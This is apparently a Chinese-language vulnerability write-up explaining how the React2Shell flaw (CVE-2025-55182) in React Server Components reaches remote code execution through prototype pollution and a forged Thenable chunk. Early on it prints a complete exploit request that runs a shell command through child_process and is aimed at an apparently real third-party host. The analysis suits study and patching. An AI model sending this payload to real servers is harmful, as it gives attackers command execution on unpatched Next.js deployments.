react2shell分析

通过路径遍历+原型链污染,伪造一个Thenable对象和自定义的Funtcion,利用Thenable的特性,执行自定义的Function

一些需要了解的知识

async await

js中的异步调用,比如这个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function fetchData(){
return {
then:(resolve)=>{
resolve({"name":"foo"});
}
}
}

async function displayData(){
const data = await fetchData();
console.log(data);
}

displayData();
1
2
% node test.js
{ name: 'foo' }

await 执行的函数中,返回一个Thenable对象(包含then方法的对象),会自动执行then方法。

当然也可以直接返回一个普通的对象

1
2
3
4
5
6
7
8
9
10
function fetchData(){
return {"name":"foo"}
}

async function displayData(){
const data = await fetchData();
console.log(data);
}

displayData();

POC

回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /signin HTTP/1.1
Host: dnake.huiqi-service.cn
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Length: 701
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Next-Action: x
X-Nextjs-Html-Request-Id: lMx9dPL6FzXWOlwazZgjx
X-Nextjs-Request-Id: bafo0gfl
Accept-Encoding: gzip, deflate, br

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('ls|base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

RSC

 React Server Components(React 服务器组件)
 
 RSC 允许某些组件在服务器上运行,并直接生成 HTML 或序列化的 React 元素树返回给客户端。这样可以减少客户端 JavaScript 包的大小,提高性能。

一种rpc框架,传入function id、参数,调用服务端的方法

React Flight Protocol

客户端通过form-data格式的请求,将包含了chunks的请求发送到服务端,

1
2
3
4
5
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}

服务端会反序列化

1
{ object: 'fruit', name: 'cherry' }

表单的0、1、2对应chuns的索引,通过$可以引用其他chunk,
通过:可以访问到嵌套的属性

1
2
3
4
5
6
Chunk示例: "$0:users:0:name"
│ │ │ │
│ │ │ └── 属性 "name"
│ │ └───── 数组索引 0
│ └────────── 属性 "users"
└───────────── Chunk ID 0

code analyse

数据结构

Flight协议将表单的每个字段,都反序列化成一个chunk
对应的结构是

1
2
3
4
5
6
function Chunk(status, value, reason, response) {
this.status = status;
this.value = value;
this.reason = reason;
this._response = response;
}

Chunk也是一个Thenable对象,包含了then函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Chunk.prototype = Object.create(Promise.prototype);
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
switch (this.status) {
case "fulfilled":
resolve(this.value);
break;
case "pending":
case "blocked":
case "cyclic":
resolve &&
(null === this.value && (this.value = []),
this.value.push(resolve));
reject &&
(null === this.reason && (this.reason = []),
this.reason.push(reject));
break;
default:
reject(this.reason);
}
};

所有的chunk维护在一个Response对象中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function createResponse(
bundlerConfig,
formFieldPrefix,
temporaryReferences
) {
var backingFormData =
3 < arguments.length && void 0 !== arguments[3]
? arguments[3]
: new FormData(),
chunks = new Map();
return {
_bundlerConfig: bundlerConfig,
_prefix: formFieldPrefix,
_formData: backingFormData,
_chunks: chunks,
_closed: !1,
_closedReason: null,
_temporaryReferences: temporaryReferences
};
}

反序列化过程

每个chunk对应的value反序列化完成后,存在value字段中。

核心的代码在reviveModel函数,将所有string类型的value,用parseModelString来反序列化。其中关键的$引用相关的处理也在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
function reviveModel(response, parentObj, parentKey, value, reference) {
if ("string" === typeof value)
return parseModelString(
response,
parentObj,
parentKey,
value,
reference
);
if ("object" === typeof value && null !== value)
if (
(void 0 !== reference &&
void 0 !== response._temporaryReferences &&
response._temporaryReferences.set(value, reference),
Array.isArray(value))
)
for (var i = 0; i < value.length; i++)
value[i] = reviveModel(
response,
value,
"" + i,
value[i],
void 0 !== reference ? reference + ":" + i : void 0
);
else
for (i in value)
hasOwnProperty.call(value, i) &&
((parentObj =
void 0 !== reference && -1 === i.indexOf(":")
? reference + ":" + i
: void 0),
(parentObj = reviveModel(
response,
value,
i,
value[i],
parentObj
)),
void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]);
return value;
}

parseModelString的大概处理逻辑

  1. 字符串前缀检查
    • 如果字符串以 $ 开头,则根据第二个字符的值执行不同的解析逻辑。
    • 如果字符串不以 $ 开头,则直接返回原始值。
  2. 解析逻辑
    • $ 开头的字符串表示特殊的编码格式,第二个字符决定了具体的解析方式:
      • $$:返回去掉第一个 $ 的字符串。
      • $@:解析为一个 Chunk 对象。
      • $F:解析为服务器引用的函数,并加载相关的服务器引用。
      • $T:创建一个临时引用。
      • $Q:解析为 Map 对象。
      • $W:解析为 Set 对象。
      • $K:解析为 FormData 对象。
      • $i:解析为迭代器。
      • $I:解析为正无穷大。
      • $-:解析为负无穷大。
      • $N:解析为 NaN
      • $u:解析为 undefined
      • $D:解析为 Date 对象。
      • $n:解析为 BigInt
    • 其他特殊前缀(如 $A$O$o 等)用于解析不同类型的 TypedArray
    • $R$r$X$x 分别解析为 ReadableStream 或异步迭代器。
    • 如果第二个字符不匹配任何已知的前缀,则尝试解析为 OutlinedModel
  3. 返回值
    • 根据解析结果返回相应的 JavaScript 数据类型或对象。

反序列化结束后

返回索引为0的chunk

1
2
3
......
return getChunk(response, 0);
}

从解析form-data表单,到反序列化,都是在decodeReplyFromBusboy函数中进行的。
并且这个函数通过await调用的。

1
2
3
4
5
 boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)

await的特性就是,会自动调用返回的Thenable中的then方法,但是这里正常情况下,返回的只是传入的普通的对象,不包含then方法。
虽然Chunk结构中,继承了Promise,但是返回的实际是Chunk.value,也就是从客户端中传入的json中反序列化出来的对象。
react2shell的漏洞利用中,就是巧妙的构造了一个Thenable对象,利用了这里的await调用。

漏洞分析

漏洞的根因,要从parseModelString说起。
parseModelString中,如果传入的字符是$+数字索引,代表引用其他的chunk,会进入getOutlinedModel中。

1
2
value = value.slice(1);
return getOutlinedModel(response, value, obj, key, createModel);

通过id,获取到要引用的chunk后,在对应的chunk上,异步调用createModelResolver方法。
比如在chunk0上引用了chunk1,在反序列化chunk0时,chunk1还没有反序列化。所以在chunk1完成反序列化时,才会执行createModelResolver方法,来继续完成chunk0的反序列化。

漏洞的关键点就在createModelResolver

这两行代码中,path、value、parentObject都是可控的,很明显的原型链污染。可以篡改parentObject中的任意字段,比如__proto__then

1
2
for (var i = 1; i < path.length; i++) value = value[path[i]];
parentObject[key] = map(response, value);

POC

https://github.com/msanft/CVE-2025-55182 这个版本的poc,是将chunk.value,构造成一个完整的chunk,包含thenvalue等,
最后反序列化结束时,通过await 调用then函数。触发构造的假chunk中的替换的Funcion,达到代码执行的效果。

伪造chunk

前面说过,反序列化结束后,会返回id为0的chunk,但默认情况下不是Thenable对象。
可以利用这里的原型链污染,给chunk添加一个then等方法,构造成一个完整的Chunk。

在poc中:
chunk0中"then": "$1:__proto__:then",
chunk1中"$@0"

chunk0的then指向chunk1的__proto__.then
chunk1的$@0,代表chunk0,相当于chunk0的then被赋值为自己的chunk0自己的then函数。

1
chunk0.value.then = chunk0.__proto__then

这时候chunk0.value已经是一个Thenable对象了

但是还不够,只是能构造在反序列化结束时,调用chunk本身的then,还不能代码执行。

继续看poc中的关于get的反序列化

1
2
3
get= chunk1.constructor.constructor 
=> chunk0.constructor.constructor
=> Function //chunk0.constructor 本身已经是一个函数了,再取构造函数,会返回Function

测试

将get替换成了Function函数

经过第一次反序列化,最后的chunk结构是:

Chunk.value,也被反序列化成了一个假的Chunk,并且get函数也被替换成了Function

伪造Thenable, @B反序列化恶意函数

反序列化结束,经过await调用then,进入了Chunk.then :

如果chunk的status是resolved_model,会初始化chunk,也就是继续反序列化伪造的Chunk。
初始化完成后,resolve(this.value),如果valueThenable对象,会继续执行then函数。

在伪造的Chunk中,value是{\"then\":\"$B\"},也就是继续在伪造的chunk中,反序列化出一个Thenable对象,不过这次不需要是一个完整的chunk,只要then函数。
$BparseModelString中对应的处理逻辑

1
2
3
4
5
 case "B":
return (
(obj = parseInt(value.slice(2), 16)),
response._formData.get(response._prefix + obj)
);

这里调用了response._formData.get,参数是response._prefix + obj.
在第一次反序列化时,将get替换为了Function,response._prefix是要执行的恶意代码。
相当于这里创建了一个执行恶意代码的函数Function("evil code"),并绑定到了then上。

最后在Chunk.then中,通过resolve执行Thenable.then,造成代码执行。

origin POC

漏洞的作者。放出了本人写的poc

1
https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc